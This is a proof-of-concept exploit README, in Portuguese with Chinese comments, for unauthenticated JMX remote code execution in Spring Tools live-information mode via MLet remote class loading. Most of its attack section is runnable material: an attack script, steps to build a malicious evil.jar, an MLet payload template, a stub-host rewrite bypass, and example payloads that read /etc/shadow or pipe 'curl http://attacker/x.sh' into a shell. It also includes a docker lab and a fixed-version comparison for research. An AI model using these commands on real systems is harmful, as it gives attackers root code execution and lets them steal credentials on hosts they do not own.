
Exploit de prova de conceito para RCE JMX não autenticado no modo de informações ao vivo do Spring Tools, usando carregamento remoto de classes MLet para executar comandos arbitrários em aplicações Spring Boot vulneráveis.
English README | Aviso de vulnerabilidade: Spring Security Advisory | Registro CVE
Vulnerabilidade: quando o Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 inicia aplicações Spring Boot no modo live information (ativado por padrão), ele injeta na aplicação parâmetros JMX remotos sem autenticação, sem TLS e vinculados a todas as interfaces de rede. Um atacante na rede adjacente pode conectar-se sem credenciais a esse MBeanServer JMX e, por meio do carregamento remoto de classes MLet, obter RCE direto (privilégios root).
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HComparando a tag afetada 5.2.0.RELEASE (== v2.2.0) com a tag corrigida 5.3.0.RELEASE (== v2.3.0):
Versão vulnerável eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: ativado por padrão; sempre que uma aplicação Boot é iniciada a partir da IDE, os parâmetros acima são injetados.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injeta os mesmos -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Versão corrigida 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX vinculado apenas a loopback).com.sun.management.jmxremote*, passando a usar a Attach API para anexar localmente pelo PID do processo (o mesmo no lado do VSCode: os parâmetros JMX remotos foram totalmente removidos em debug-config-provider.ts).Observação: a presença isolada de
-Dcom.sun.management.jmxremote.portjá ativa o agente JMX (sem necessidade da chave principalcom.sun.management.jmxremote); a variante do VSCode também é afetada.
Dependências: docker, JDK 17+ (padrão /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (opcional).
./run-lab.sh vuln # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)
Para personalizar o comando executado na máquina vítima (padrão id; hostname; uname -a):
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
O script realiza automaticamente: construção da aplicação Spring Boot da vítima → criação de uma rede docker bridge isolada (container da vítima em 172.22.0.x, atacante no host, simulando uma rede adjacente) → início da aplicação com os parâmetros JVM da versão correspondente → exibição da porta de escuta JMX → execução do exploit → verificação do arquivo de marcação de RCE dentro do container da vítima (/tmp/CVE-2026-47858_PWNED*).
attack.sh (recomendado)O comando é totalmente configurável; alterar o comando não exige recompilar nada (o comando é passado pela tag MLET <ARG>, e o jar é independente do comando):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Processo: compila automaticamente evil.jar → gera mlet.txt com o comando escapado em XML → sobe um serviço HTTP servindo evil.jar + mlet.txt → compila e executa o JmxExploit → (se o nome do container for informado) entra no container e verifica o arquivo de marcação.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn implementa DynamicMBean; o comando é executado de forma síncrona no construtor via /bin/sh -c (prioridade: parâmetro MLET <ARG> > variável de ambiente CVE_PAYLOAD_CMD do processo da vítima > comando padrão id; hostname; uname -a)./tmp/CVE-2026-47858_PWNED — se existir, RCE bem-sucedido/tmp/CVE-2026-47858_PWNED_cmd — comando efetivamente executado/tmp/CVE-2026-47858_PWNED_cmdout — saída do comando (stdout+stderr)Por que usar
<ARG>? OMLetParserdo JDK reconhece apenas<ARG>(<PARAM>é silenciosamente ignorado), eTYPE/VALUEsão obrigatórios; além disso, o parser MLet não processa comentários HTML, portanto não inclua nenhum texto extra com<...>emmlet.txt.
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090) ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口) ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null) ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...) ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>") ← 命令在受害进程内直接执行
getMBeansFromURL retorna, o comando já terminou (os arquivos de marcação já foram gravados).-Djava.rmi.server.hostname=localhost presente na configuração vulnerável faz apenas com que o stub RMI anuncie "localhost" (o cliente padrão tenta conectar-se ao próprio loopback e falha, o que pode ser reproduzido com NaiveJmxClient). O JmxExploit contorna isso reescrevendo via reflexão o host do TCPEndpoint do stub para o IP real (ferramentas prontas como java_jmx_server do Metasploit também conseguem contornar).Evidências reais de teste (dentro do container da vítima):
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # 自定义命令输出
d4af4b454b90 # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd # 自定义命令(经 <ARG> 传入)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true para sobrescrever.CVE-2026-47858/
├── README.md # 本文档(中文)
├── README.en.md # 英文文档
├── run-lab.sh # 一键复现(vuln / fixed-pinned / fixed-auto 三种模式)
├── attack.sh # 灵活利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│ ├── JmxExploit.java # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│ └── NaiveJmxClient.java # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│ ├── evil/Pwn.java # 恶意 DynamicMBean(构造函数执行命令)
│ ├── mlet.txt.template # MLET 描述模板(命令占位符 __COMMAND__)
│ └── evil.jar # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/ # 受害 Spring Boot 4.0.7 应用(web+actuator)
Este repositório destina-se exclusivamente a pesquisa de segurança autorizada, validação de vulnerabilidades e testes defensivos. Explorar qualquer sistema sem autorização é ilegal; o usuário assume toda a responsabilidade.
| Configuração | Escuta JMX | Conexão remota não autorizada | RCE |
|---|
| 5.2.0 vulnerável (parâmetros do Eclipse) | *:19090 etc. (0.0.0.0) | ✅ (bypass do localhost via reescrita do host do stub) | ✅ root |
| 5.2.0 vulnerável (parâmetros do VSCode 2.2.0) | *:19090 (0.0.0.0) | ✅ | ✅ |
| 5.3.0 corrigido (porta fixa) | apenas 127.0.0.1 | ❌ conexão recusada | ❌ |
| 5.3.0 corrigido (auto padrão) | sem porta JMX | ❌ | ❌ |